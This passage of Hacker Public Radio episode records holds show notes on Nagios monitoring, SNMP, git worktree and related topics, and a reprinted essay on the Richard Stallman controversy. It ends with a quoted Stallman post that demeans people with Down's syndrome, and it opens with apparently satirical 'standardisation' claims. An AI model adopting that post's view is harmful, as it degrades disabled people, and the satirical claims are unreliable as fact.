                                                            Support

                                                            \n

                                                            Bash already introduced support last year. You will need to update to Ubuntu Falex to get the latest version.

                                                            \n

                                                            Future plans

                                                            \n

                                                            The Standardisation Working Group will be planning other measures.

                                                            \n

                                                            Forthcoming rationalisations will be:

                                                            \n
                                                              \n
                                                            • Weights and Measures:\n
                                                                \n
                                                              • Discrepancies such as the US pint (16 fluid ounces) versus the British pint (20 fluid ounces)
                                                              • \n
                                                            • \n
                                                            • Temperature:\n
                                                                \n
                                                              • Fahrenheit versus Centigrade, replaced by the new Eurotemp which straddles both ranges. The choice might be the Rankine scale (°R), but this has yet to be decided.
                                                              • \n
                                                            • \n
                                                            \n","hostid":393,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"date,time,formats","version":0,"downloads":0,"valid":1}, {"id":3305,"date":"2021-04-02","title":"Nagios part 2","duration":1428,"summary":"Follow up to hpr3264 - Notifications, SNMP, Remote Checks","notes":"

                                                            I did not get any feed back on my first nagios episode, so I can only assume that I perfectly explained what nagios is. And my installation instructions were so good, that no one had any questions. So I will move on to some additional nagios topics.

                                                            \n

                                                            Why use nagios

                                                            \n

                                                            One thing I meant to talk about but forgot in the intro is why you may want to run nagios as a hobbyist.

                                                            \n
                                                              \n
                                                            • Education, learning a new technology for fun
                                                            • \n
                                                            • Network Monitoring is a valuable skill and benefit your career if you work in IT
                                                            • \n
                                                            • Early warning for failing hardware
                                                            • \n
                                                            • Monitoring self hosted applications
                                                            • \n
                                                            • Notification for home security devices IP cameras
                                                            • \n
                                                            \n

                                                            Most of the benefits of nagios are not specific to nagios. There are plenty of other options for monitoring, and all of them are worth exploring.

                                                            \n

                                                            Notification Options

                                                            \n

                                                            Email

                                                            \n

                                                            I had planned on discussing how to set up postfix to send emails. But, that is such a big topic I will have to skip it. I will instead talk about what I do to send email. And Maybe you can do something similar.

                                                            \n

                                                            Spammers have ruined the ability to directly send email. Most residential ISPs block port 25 outbound to prevent malware from sending email. Some Virtual hosting providers may not block sending mail, but many mail servers will not accept mail from VPS IP ranges.

                                                            \n

                                                            There are a few ways to get around this problem. I use the email delivery service Sendgrid. They do all the work of staying off the list of spammers, and most email providers trust mail send via Sendgrid.

                                                            \n

                                                            I wont go into the instructions for configuring postfix to relay outgoing mail via Sendgrid, but their documentation is easy to follow.

                                                            \n

                                                            There are plenty of services like sendgrid. And most have a free tier. So unless you are blasting out alerts you probably will not have to pay. If you want to send alerts from nagios via email, I recommend finding a email sending service that works for you.

                                                            \n

                                                            Push alerts

                                                            \n

                                                            There are a few options (besides email) for getting alerts on your phone.

                                                            \n

                                                            aNag

                                                            \n

                                                            The easiest way to get alerts is probably the aNag Android app. aNag connects to the nagios UI to get status updates. It can be configured to check in periodically and there generate notifications for failed checks.

                                                            \n

                                                            One downside to aNag is the phone has to be able to connect to the nagios server. So, if nagios is on a private network, you will need a VPN when you are not on the same network.

                                                            \n

                                                            If you decide to put nagios on a public network, be sure to configure apache to only use HTTPS. certbot makes this really easy.

                                                            \n

                                                            Pushover

                                                            \n

                                                            Another option is to us a Push Notification service that can send notifications that are triggered by API calls.

                                                            \n

                                                            I like to use the pushover.net You pay $5 when you download the pushover app from the app store, and then notifications are sent for free. They offer a 30 day trial if you want to evaluate the service.

                                                            \n

                                                            To use pushover, we will add a new contact to nagios. The command for the pushover contact is a script that calls the pushover API via curl.

                                                            \n

                                                            Remember from the previous episode, nagios has a conf.d directory and will load any files in that directory. So we will create a new file /etc/nagios4/conf.d/pushover.cfg and restart nagios. The contents of the pushover file will be in the show notes.

                                                            \n

                                                            To use pushover for specific checks, and the contact to that check. See the example in the show notes. Or if you want to use pushover for everything Modify the definitions for the host and service templates to use pushover as a contact

                                                            \n

                                                            The script that calls the Pushover API is at https://github.com/jedda/OSX-Monitoring-Tools/blob/master/notify_by_pushover.sh Save a copy of the script in the nagios plugins directory.

                                                            \n

                                                            pushover.cfg

                                                            \n
                                                            # 'notify-host-pushover' command definition\n\ndefine command{\n        command_name    notify-host-pushover\n        command_line    $USER1$/notify_by_pushover.sh -u $CONTACTADDRESS1$ -a $CONTACTADDRESS2$ -c 'persistent' -w 'siren' -t "Nagios" -m "$NOTIFICATIONTYPE$ Host $HOSTNAME$ $HOSTSTATE$"\n        }\n\n# 'notify-service-pushover' command definition\n\ndefine command{\n        command_name   notify-service-pushover\n        command_line   $USER1$/notify_by_pushover.sh -u $CONTACTADDRESS1$ -a $CONTACTADDRESS2$ -c 'persistent' -w 'siren' -t "Nagios" -m "$HOSTNAME$ $SERVICEDESC$ : $SERVICESTATE$ Additional info: $SERVICEOUTPUT$"\n        }\n\ndefine contact{\n        name                            generic-pushover\n        host_notifications_enabled      1\n        service_notifications_enabled   1\n        host_notification_period        24x7\n        service_notification_period     24x7\n    service_notification_options    w,c,r\n    host_notification_options       d,r\n        host_notification_commands      notify-host-pushover\n        service_notification_commands   notify-service-pushover\n        can_submit_commands             1\n        retain_status_information       1\n        retain_nonstatus_information    1\n        contact_name           Pushover\n        address1               {{ pushover_user_key }}\n        address2               {{ pushover_app_key }}\n}
                                                            \n

                                                            writing custom checks

                                                            \n

                                                            One of the big advantages of nagios is the ability to write custom checks. In the previous episode, I mentioned that the status of the nagios checks are based on exit code.

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            Exit Codestatus
                                                            0OK/UP
                                                            1WARNING
                                                            2CRITICAL
                                                            \n

                                                            So, to write a custom check, we need a script that will perform a check, and exit with an exit code based on the results of the check.

                                                            \n

                                                            Verify recent log entry

                                                            \n

                                                            I have a server where occasionally the syslog daemon stop running,

                                                            \n

                                                            Instead of trying to figure out why syslog keeps crashing, I wrote a script to check the log file is being updated. The script looks for the expected log file and tests that it has been modified in the last few minutes. The script will:

                                                            \n
                                                              \n
                                                            • exit 0 if the syslog file is less than 1 minute old
                                                            • \n
                                                            • exit 1 if the syslog file is less than 10 minutes old
                                                            • \n
                                                            • exit 2 if the syslog file is more that than 10 minutes old or does not exist
                                                            • \n
                                                            \n

                                                            Since the server with the crashy syslog is not the same server running nagios, I need a way for nagios to execute the script on the remote server.

                                                            \n

                                                            Nagios has a few ways to run check commands on remote servers. I prefer to use ssh, but there are some disadvantages to using ssh. Specifically the resources required to establish the ssh connection can be heavier than some of the other remote execution methods.

                                                            \n

                                                            The check_by_ssh plugin can be used to execute check commands on another system. Typically ssh-key authentication is set up so the user that is running the nagios daemon can log in to the remote system without a password

                                                            \n

                                                            You can try the command to make sure it is working.

                                                            \n
                                                            cd /usr/lib/nagios/plugins\n./check_by_ssh -H RemoteHost -u RemoteUser \\\n-C /path/to/remote/script/check_log_age.sh
                                                            \n

                                                            The new command can be added to a file in the nagios conf.d directory

                                                            \n
                                                            define command {\n    command_name check_syslog_age\n    command_line    $USER1$/check_by_ssh  -u RemoteUser -C /remote/path/check_log_age.sh\n        }
                                                            \n

                                                            After adding the command definition, check_syslog_age can be added as a service check.

                                                            \n

                                                            The Log Check script:

                                                            \n
                                                            #!/usr/bin/bash\n\nTODAY=$(date +%Y%m%d)\nLOGPATH="/syslog"\nTODAYSLOG="$TODAY.log"\nif test `find "$LOGPATH/$TODAYSLOG" -mmin -1`\nthen\n    echo OK\n    exit 0\nelif test `find "$LOGPATH/$TODAYSLOG" -mmin -10`\nthen\n    echo WARNING\n    exit 1\nelse\n    echo CRITICAL\n    exit 2\nfi
                                                            \n

                                                            Using snmp to monitor load average and disk usage

                                                            \n

                                                            SNMP can get complicated and I have mixed feelings about using it. I am not going to go into the SNMP versions or the different authentication options for SNMP. But I will show a minimal setup that allows some performance data to be checked by nagios

                                                            \n

                                                            The SNMP authentication that I am demonstrating is only appropriate for isolated networks. If you plan to use snmp over a public network, I recommend looking into more secure versions of SNMP or tunnelling the check traffic via ssh or a VPN.

                                                            \n

                                                            If you want to learn more about SNMP, I recommend \"SNMP Mastery\" by Michael W Lucas. https://www.tiltedwindmillpress.com/product/snmp-mastery/

                                                            \n

                                                            SNMP setup

                                                            \n

                                                            First we need to configure the client to respond to SNMP request. On Ubuntu, apt install snmpd

                                                            \n

                                                            By default, snmpd listens on localhost. Replace the existing snmpd.conf with this example to set a read only community string and listen on all IP addresses.

                                                            \n

                                                            And don't forget, I do not recommend this for a Public Network. Restart snmpd and open port 161 if there is a firewall enabled.

                                                            \n
                                                            agentAddress udp:161,udp6:[::1]:161\nrocommunity NEW_SECURE_PASSWORD\ndisk /
                                                            \n

                                                            SNMP nagios checks

                                                            \n

                                                            The nagios plugin package installs several pre-defined snmp checks in /etc/nagios-plugins/config/snmp.cfg Look through the file to get an idea of the checks that can be performed via SNMP.

                                                            \n

                                                            Below is an example of a client configuration that uses SNMP. If you look at how the command definitions, most of them have an option to accept arguments to modify how the check is done The argument placeholders re represented by $ARG1$

                                                            \n

                                                            In most cases, the arguments are optional. This particular SNMP check for disk space requires an argument to complete the disk ID being checked.

                                                            \n

                                                            When the service check is defined, the arguments are separated by ! You can also see in the example how you can

                                                            \n
                                                              \n
                                                            • add additional contacts
                                                            • \n
                                                            • Change the check attempts - number or retires before sending an alert
                                                            • \n
                                                            • Frequency of checks, the default is every 5 minutes
                                                            • \n
                                                            \n
                                                            define host {\n  host_name ServerIP\n  use linux-server\n}\ndefine service {\n  use generic-service\n  host_name ServerIP\n  contacts Pushover\n  max_check_attempts 1\n  check_interval 1\n  service_description DISK\n  check_command snmp_disk!NEW_SECURE_PASSWORD!1!1 # first arg is disk number\n  # command in /etc/nagios-plugins/config/snmp.cfg\n}\ndefine service {\n  use generic-service\n  host_name ServerIP\n  contacts Pushover\n  service_description LOAD\n  check_command snmp_load!NEW_SECURE_PASSWORD\n  # command in /etc/nagios-plugins/config/snmp.cfg\n}\ndefine service {\n  use generic-service\n  host_name ServerIP\n  service_description Memory\n  check_command snmp_mem!NEW_SECURE_PASSWORD\n  # command in /etc/nagios-plugins/config/snmp.cfg\n}\ndefine service {\n  use generic-service\n  host_name ServerIP\n  service_description Swap\n  check_command snmp_swap!NEW_SECURE_PASSWORD\n  # command in /etc/nagios-plugins/config/snmp.cfg\n}
                                                            \n

                                                            Check servers for updates

                                                            \n

                                                            Nagios has plugins that can check if there are system updates required.

                                                            \n
                                                              \n
                                                            • Number of updates
                                                            • \n
                                                            • Check will be CRITICAL if any of the updates are security related.
                                                            • \n
                                                            • Is a reboot required to load the latest kernel.
                                                            • \n
                                                            \n

                                                            The check plugin is installed on the remote server. The plugin for Debian based systems is nagios-plugins-contrib or nagios-plugins-check-updates for Red Hat based systems.

                                                            \n

                                                            The command definitions are below. Since the plugins take longer to run, you will probably need to modify the nagios plugin timeout.

                                                            \n
                                                            define command {\n    command_name check_yum\n        command_line    $USER1$/check_by_ssh -H $HOSTADDRESS$ -t 120 -u root -C "/usr/lib64/nagios/plugins/check_updates -t120"\n    }\ndefine command {\n       command_name check_apt\n       command_line    $USER1$/check_by_ssh -H $HOSTADDRESS$ -t 120 -u nagios-ssh -C "/usr/lib/nagios/plugins/check_apt -t60"\n        }
                                                            \n

                                                            That's probably all the nagios I can handle for now. Leave a comment if there are nagios topics you would like to hear about. Thanks for listening and I will see you next time.

                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"nagios,bash,snmp","version":0,"downloads":0,"valid":1}, {"id":3306,"date":"2021-04-05","title":"HPR Community News for March 2021","duration":2000,"summary":"HPR Volunteers talk about shows released and comments posted in March 2021","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n timttmy.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3281Mon2021-03-01HPR Community News for February 2021HPR Volunteers
                                                            3282Tue2021-03-02HP Laptop with AMD Ryzen 3 Mobile with Radeon GraphicsSome Guy On The Internet
                                                            3283Wed2021-03-03HPR RPG Club reviews Dead Earthklaatu
                                                            3284Thu2021-03-04Introduction to gdbklaatu
                                                            3285Fri2021-03-05Upgrading Lubuntu on my Samsung N150 Plus netbookMrX
                                                            3286Mon2021-03-08Wireguard How Totimttmy
                                                            3287Tue2021-03-09Quick tipArcher72
                                                            3288Wed2021-03-10Linux Inlaws S01E25: The Grumpy Old Codersmonochromec
                                                            3289Thu2021-03-11NextCloud the hard wayKen Fallon
                                                            3290Fri2021-03-12GIMP: More on Layer Tools and TechniquesAhuka
                                                            3291Mon2021-03-15The New Audacity and Batch Processing MacrosAhuka
                                                            3292Tue2021-03-16Squirrel FSF blogZen_Floater2
                                                            3293Wed2021-03-17HPR RPG Club reviews Dungeon Raidersklaatu
                                                            3294Thu2021-03-18Update to MakeMKV to back up mediaArcher72
                                                            3295Fri2021-03-19Renewing a Let's Encrypt cert for Home Network useKen Fallon
                                                            3296Mon2021-03-22Spam Bot Honey PotRho`n
                                                            3297Tue2021-03-23Nextcloud Application UpdatingToeJet
                                                            3298Wed2021-03-24Poisoning The WellSome Guy On The Internet
                                                            3299Thu2021-03-25Linux Inlaws S01E26: Make your Linux hardermonochromec
                                                            3300Fri2021-03-26YouTube Channels for Learning Spanish, Part 1Ahuka
                                                            3301Mon2021-03-29K S P Kerbal Space Program! (Game)operat0r
                                                            3302Tue2021-03-30Input Methods on Ubuntuclacke
                                                            3303Wed2021-03-31Slackware on RaspberryPiBrian in Ohio
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 15 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 3 comments on\n3 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3153\n(2020-09-02) \"Fixing eBooks with Calibre and pdfcrop\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2021-03-03:\n\"Thanks Again.\"

                                                              \n
                                                            • hpr3241\n(2021-01-04) \"HPR Community News for December 2020\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nclacke on 2021-03-03:\n\"OpenLDAP on BDB?\"

                                                              \n
                                                            • hpr3262\n(2021-02-02) \"My thoughts on diversity in Linux and open source\"\nby swift110.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 6:\nbjhend on 2021-03-08:\n\"Get rid of bad terms in IT\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 12 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr3282\n(2021-03-02) \"HP Laptop with AMD Ryzen 3 Mobile with Radeon Graphics\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfrank on 2021-03-18:\n\"Using your OEM Windows key in a VM\"

                                                              \n
                                                            • hpr3289\n(2021-03-11) \"NextCloud the hard way\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nmonochromec on 2021-01-29:\n\"apachectl restart vs. systemctl restart apache2.service\"

                                                              \n
                                                            • hpr3291\n(2021-03-15) \"The New Audacity and Batch Processing Macros\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRmccurdyDOTcom on 2021-03-15:\n\"audio\"
                                                              • Comment 2:\nGumnos on 2021-03-26:\n\"Which hardware podcast player did you move to?\"
                                                              • Comment 3:\nKevin O'Brien on 2021-03-27:\n\"Your answer\"

                                                              \n
                                                            • hpr3292\n(2021-03-16) \"Squirrel FSF blog\"\nby Zen_Floater2.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2021-03-09:\n\"Good Question\"
                                                              • Comment 2:\nA listener on 2021-03-16:\n\"Enjoyed the podcast, but...\"
                                                              • Comment 3:\nKevin O'Brien on 2021-03-18:\n\"Thank you\"
                                                              • Comment 4:\nThaj on 2021-03-27:\n\"Well...\"

                                                              \n
                                                            • hpr3296\n(2021-03-22) \"Spam Bot Honey Pot\"\nby Rho`n.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2021-03-25:\n\"Great show!\"

                                                              \n
                                                            • hpr3298\n(2021-03-24) \"Poisoning The Well\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2021-03-25:\n\"Agreed\"

                                                              \n
                                                            • hpr3299\n(2021-03-25) \"Linux Inlaws S01E26: Make your Linux harder\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nnobody on 2021-03-25:\n\"Other MAC implementations\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-March/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nDave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 10 shows which were without them.

                                                            \n

                                                            There are now 404 shows which need a summary and/or tags.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3307,"date":"2021-04-06","title":"Git worktree","duration":1507,"summary":"How to use git worktree","notes":"

                                                            Create a new worktree

                                                            \n\n
                                                            \n$ git branch | tee\n* dev\ntrunk\n$ git worktree add -b hotfix ~/demo/penguin.tree trunk\nPreparing ../penguin.tree (identifier penguin.tree)\nHEAD is now at 62a2daf commit\n\n
                                                            \n\n

                                                            List existing worktrees

                                                            \n\n
                                                            \n$ git worktree list\n/home/tux/demo/penguin.git       15fca84 [dev]\n/home/tux/demo/penguin.tree     09e585d [trunk]\n\n
                                                            \n\n

                                                            Move a worktree

                                                            \n\n
                                                            \n$ git worktree move penguin.tree ~/Temp\n\n
                                                            \n\n

                                                            Remove a worktree

                                                            \n
                                                            \n$ git worktree remove penguin.tree\n\n
                                                            \n\n","hostid":78,"series":104,"explicit":0,"license":"CC-BY-SA","tags":"git,tree,trunk,branch","version":0,"downloads":0,"valid":1}, {"id":3308,"date":"2021-04-07","title":"let's talk about Thunderbird","duration":2005,"summary":"Using Thunderbird to manage emails.","notes":"

                                                            Thunder bird, the wonderful email client. I share how I use and enjoy the Thunderbird email client.

                                                            \n

                                                            use `hpr391` as the subject for all emails. If not, junk filter.

                                                            ","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"email, Thunderbird","version":0,"downloads":0,"valid":1}, {"id":3309,"date":"2021-04-08","title":"Linux Inlaws S01E27: The Big Uncertainties in Life and beyond","duration":3417,"summary":"The two chaps discuss uncertainties and beyond in this episode on probabilistic data structure","notes":"

                                                            In this episode, our two heroes explore the realm of the great uncertainties also known as probabilistic data structures. For this adventures they managed to retain one of the experts in this field from the open source realm. Check out the episode to get in on this secret and its details!

                                                            \n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Probabilistic data structures,PDS","version":0,"downloads":0,"valid":1}, {"id":3310,"date":"2021-04-09","title":"Layer Masks","duration":970,"summary":"We begin our look at a key tool in GIMP, Layer Masks","notes":"

                                                            One of the key tools in GIMP is Layer Masks, which allow you to make selected parts of a layer transparent, so that lower layers can come through. This is a way to get the same kinds of effects you would get with physical transparency sheets or animation gels.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layers, Layer Masks","version":0,"downloads":0,"valid":1}, {"id":3311,"date":"2021-04-12","title":"Bradley M. Kuhn's article from 2019 on Richard M. Stallman","duration":1584,"summary":"This text to speech article requires listener discretion.","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            This show has a counter point: hpr3316 :: FSF and RMS on election of Richard Stallman\n

                                                            \n
                                                            \n\n

                                                            Warning This show contains information that may not be suitable for all. Listener discretion is advised.

                                                            \n

                                                            Recently Richard M. Stallman, announced that he has rejoined the Free Software Foundation’s board of directors. An open letter on github called for him to be removed again, and for the FSF’s entire board to resign.

                                                            \n

                                                            When he resigned in 2019, Bradley M. Kuhn (from the Free as in Freedom podcast) wrote an article titled \"On Recent Controversial Events\" about the issue. I am submitting that article here under the terms of the Creative Commons Attribution-Share Alike 3.0 United States License. The post contains many links and is available in the shownotes for this show. Some examples are included at the end of the blog post, and listener discretion is advised.

                                                            \n

                                                            \nOn Recent Controversial Events\n

                                                            \n

                                                            \nTuesday 15 October 2019 by Bradley M. Kuhn\n

                                                            \n

                                                            \nThe last 33 days have been unprecedentedly difficult for the software freedom community and for me personally. Folks have been emailing, phoning, texting, tagging me on social media (— the last of which has been funny, because all my social media accounts are placeholder accounts). But, just about everyone has urged me to comment on the serious issues that the software freedom community now faces. Until now, I have stayed silent regarding all these current topics: from Richard M. Stallman (RMS)’s public statements, to his resignation from the Free Software Foundation (FSF), to the Epstein scandal and its connection to MIT. I’ve also avoided generally commenting on software freedom organizational governance during this period. I did this for good reason, which is explained below. However, in this blog post, I now share my primary comments on the matters that seem to currently be of the utmost attention of the Open Source and Free Software communities.\n

                                                            \n

                                                            \nI have been silent the last month because, until two days ago, I was an at-large member of FSF’s Board of Directors, and a Voting Member of the FSF. As a member of FSF’s two leadership bodies, I was abiding by a reasonable request from the FSF management and my duty to the organization. Specifically, the FSF asked that all communication during the crisis come directly from FSF officers and not from at-large directors and/or Voting Members. Furthermore, the FSF management asked all Directors and Voting Members to remain silent on this entire matter — even on issues only tangentially related to the current situation, and even when speaking in our own capacity (e.g., on our own blogs like this one). The FSF is an important organization, and I take any request from the FSF seriously — so I abided fully with their request.\n

                                                            \n

                                                            \nThe situation was further complicated because folks at my employer, Software Freedom Conservancy (where I also serve on the Board of Directors) had strong opinions about this matter as well. Fortunately, the FSF and Conservancy both had already created clear protocols for what I should do if ever there was a disagreement or divergence of views between Conservancy and FSF. I therefore was recused fully from the planning, drafting, and timing of Conservancy’s statement on this matter. I thank my colleagues at the Conservancy for working so carefully to keep me entirely outside the loop on their statement and to diligently assure that it was straight-forward for me to manage any potential organizational disagreements. I also thank those at the FSF who outlined clear protocols (ahead of time, back in March 2019) in case a situation like this ever came up. I also know my colleagues at Conservancy care deeply, as I do, about the health and welfare of the FSF and its mission of fighting for universal software freedom for all. None of us want, nor have, any substantive disagreement over software freedom issues.\n

                                                            \n

                                                            \nI take very seriously my duty to the various organizations where I have (or have had) affiliations. More generally, I champion non-profit organizational transparency. Unfortunately, the current crisis left me in a quandary between the overarching goal of community transparency and abiding by FSF management’s directives. Now that I’ve left the FSF Board of Directors, FSF’s Voting Membership, and all my FSF volunteer roles (which ends my 22-year uninterrupted affiliation with the FSF), I can now comment on the substantive issues that face not just the FSF, but the Free Software community as a whole, while continuing to adhere to my past duty of acting in FSF’s best interest. In other words, my affiliation with the FSF has come to an end for many good and useful reasons. The end to this affiliation allows me to speak directly about the core issues at the heart of the community’s current crisis.\n

                                                            \n

                                                            \nFirstly, all these events — from RMS’ public comments on the MIT mailing list, to RMS’ resignation from the FSF to RMS’ discussions about the next steps for the GNU project — seem to many to have happened ridiculously quickly. But it wasn’t actually fast at all. In fact, these events were culmination of issues that were slowly growing in concern to many people, including me.\n

                                                            \n

                                                            \nFor the last two years, I had been a loud internal voice in the FSF leadership regarding RMS’ Free-Software-unrelated public statements; I felt strongly that it was in the best interest of the FSF to actively seek to limit such statements, and that it was my duty to FSF to speak out about this within the organization. Those who only learned of this story in the last month (understandably) believed Selam G.’s Medium post raised an entirely new issue. In fact, RMS’ views and statements posted on stallman.org about sexual morality escalated for the worse over the last few years. When the escalation started, I still considered RMS both a friend and colleague, and I attempted to argue with him at length to convince him that some of his positions were harmful to sexual assault survivors and those who are sex-trafficked, and to the people who devote their lives in service to such individuals. More importantly to the FSF, I attempted to persuade RMS that launching a controversial campaign on sexual behavior and morality was counter to his and FSF’s mission to advance software freedom, and told RMS that my duty as an FSF Director was to assure the best outcome for the FSF, which IMO didn’t include having a leader who made such statements. Not only is human sexual behavior not a topic on which RMS has adequate academic expertise, but also his positions appear to ignore significant research and widely available information on the subject. Many of his comments, while occasionally politically intriguing, lack empathy for people who experienced trauma.\n

                                                            \n

                                                            \nIMO, this is not and has never been a Free Speech issue. I do believe freedom of speech links directly to software freedom: indeed, I see the freedom to publish software under Free licenses as almost a corollary to the freedom of speech. However, we do not need to follow leadership from those whose views we fundamentally disagree. Moreover, organizations need not and should not elevate spokespeople and leaders who speak regularly on unrelated issues that organizations find do not advance their mission, and/or that alienate important constituents. I, like many other software freedom leaders, curtail my public comments on issues not related to FOSS. (Indeed, I would not even be commenting on this issue if it had not become a central issue of concern to the software freedom community.) Leaders have power, and they must exercise the power of their words with restraint, not with impunity.\n

                                                            \n

                                                            \nRMS has consistently argued that there was a campaign of \"prudish intimidation\" — seeking to keep him quiet about his views on sexuality. After years of conversing with RMS about how his non-software-freedom views were a distraction, an indulgence, and downright problematic, his general response was to make even more public comments of this nature. The issue is not about RMS’ right to say what he believes, nor is it even about whether or not you agree or disagree with RMS’ statements. The question is whether an organization should have a designated leader who is on a sustained, public campaign advocating about an unrelated issue that many consider controversial. It really doesn’t matter what your view about the controversial issue is; a leader who refuses to stop talking loudly about unrelated issues eventually creates an untenable distraction from the radical activism you’re actively trying to advance. The message of universal software freedom is a radical cause; it’s basically impossible for one individual to effectively push forward two unrelated controversial agendas at once. In short, the radical message of software freedom became overshadowed by RMS’ radical views about sexual morality.\n

                                                            \n

                                                            \nAnd here is where I say the thing that may infuriate many but it’s what I believe: I think RMS took a useful step by resigning some of his leadership roles at the FSF. I thank RMS for taking that step, and I wish the FSF Directors well in their efforts to assure that the FSF becomes a welcoming organization to all who care about universal software freedom. The FSF’s mission is essential to our technological future, and we should all support that mission. I care deeply about that mission myself and have worked and will continue to work in our community in the best interest of the mission.\n

                                                            \n

                                                            \nI’m admittedly struggling to find a way to work again with RMS, given his views on sexual morality and his behaviors stemming from those views. I explicitly do not agree with this \"(re-)definition\" of sexual assault. Furthermore, I believe uninformed statements about sexual assault are irresponsible and cause harm to victims. #MeToo is not a \"frenzy\"; it is a global movement by individuals who have been harmed seeking to hold both bad actors and society-at-large accountable for ignoring systemic wrongs. Nevertheless, I still am proud of the essay that I co-wrote with RMS and still find many of RMS’ other essays compelling, important, and relevant.\n

                                                            \n

                                                            \nI want the FSF to succeed in its mission and enter a new era of accomplishments. I’ve spent the last 22 years, without a break, dedicating substantial time, effort, care and loyalty to the various FSF roles that I’ve had: including employee, volunteer, at-large Director, and Voting Member. Even though my duties to the FSF are done, and my relationship with the FSF is no longer formal, I still think the FSF is a valuable institution worth helping and saving, specifically because the FSF was founded for a mission that I deeply support. And we should also realize that RMS — a human being (who is flawed like the rest of us) — invented that mission.\n

                                                            \n

                                                            \nAs culture change becomes more rapid, I hope we can find reasonable nuance and moderation on our complex analysis about people and their disparate views, while we also hold individuals fully accountable for their actions. That’s the difficulty we face in the post-post-modern culture of the early twenty-first century. Most importantly, I believe we must find a way to stand firm for software freedom while also making a safe environment for victims of sexual assault, sexual abuse, gaslighting, and other deplorable actions.\n

                                                            \n

                                                            \n

                                                            \n

                                                            \nPosted on Tuesday 15 October 2019 at 09:11 by Bradley M. Kuhn.\n

                                                            \n

                                                            \n

                                                            Submit comments on this post to <bkuhn@ebb.org>.

                                                            \n
                                                            \n

                                                            The following posts are authored by Richard M. Stallman and are taken from his personal site stallman.org. They were linked to in the piece you have just heard.

                                                            \n

                                                            stallman.org 31 October 2016 (Down’s syndrome) A new noninvasive test for Down’s syndrome will eliminate the small risk of the current test. This might lead more women to get tested, and abort fetuses that have Down’s syndrome. Let’s hope so! If you’d like to love and care for a pet that doesn’t have normal human mental capacity, don’t create a handicapped human being to be your pet. Get a dog or a parrot. It will appreciate your love, and it will never feel bad for being less capable than normal humans.

                                                            \n

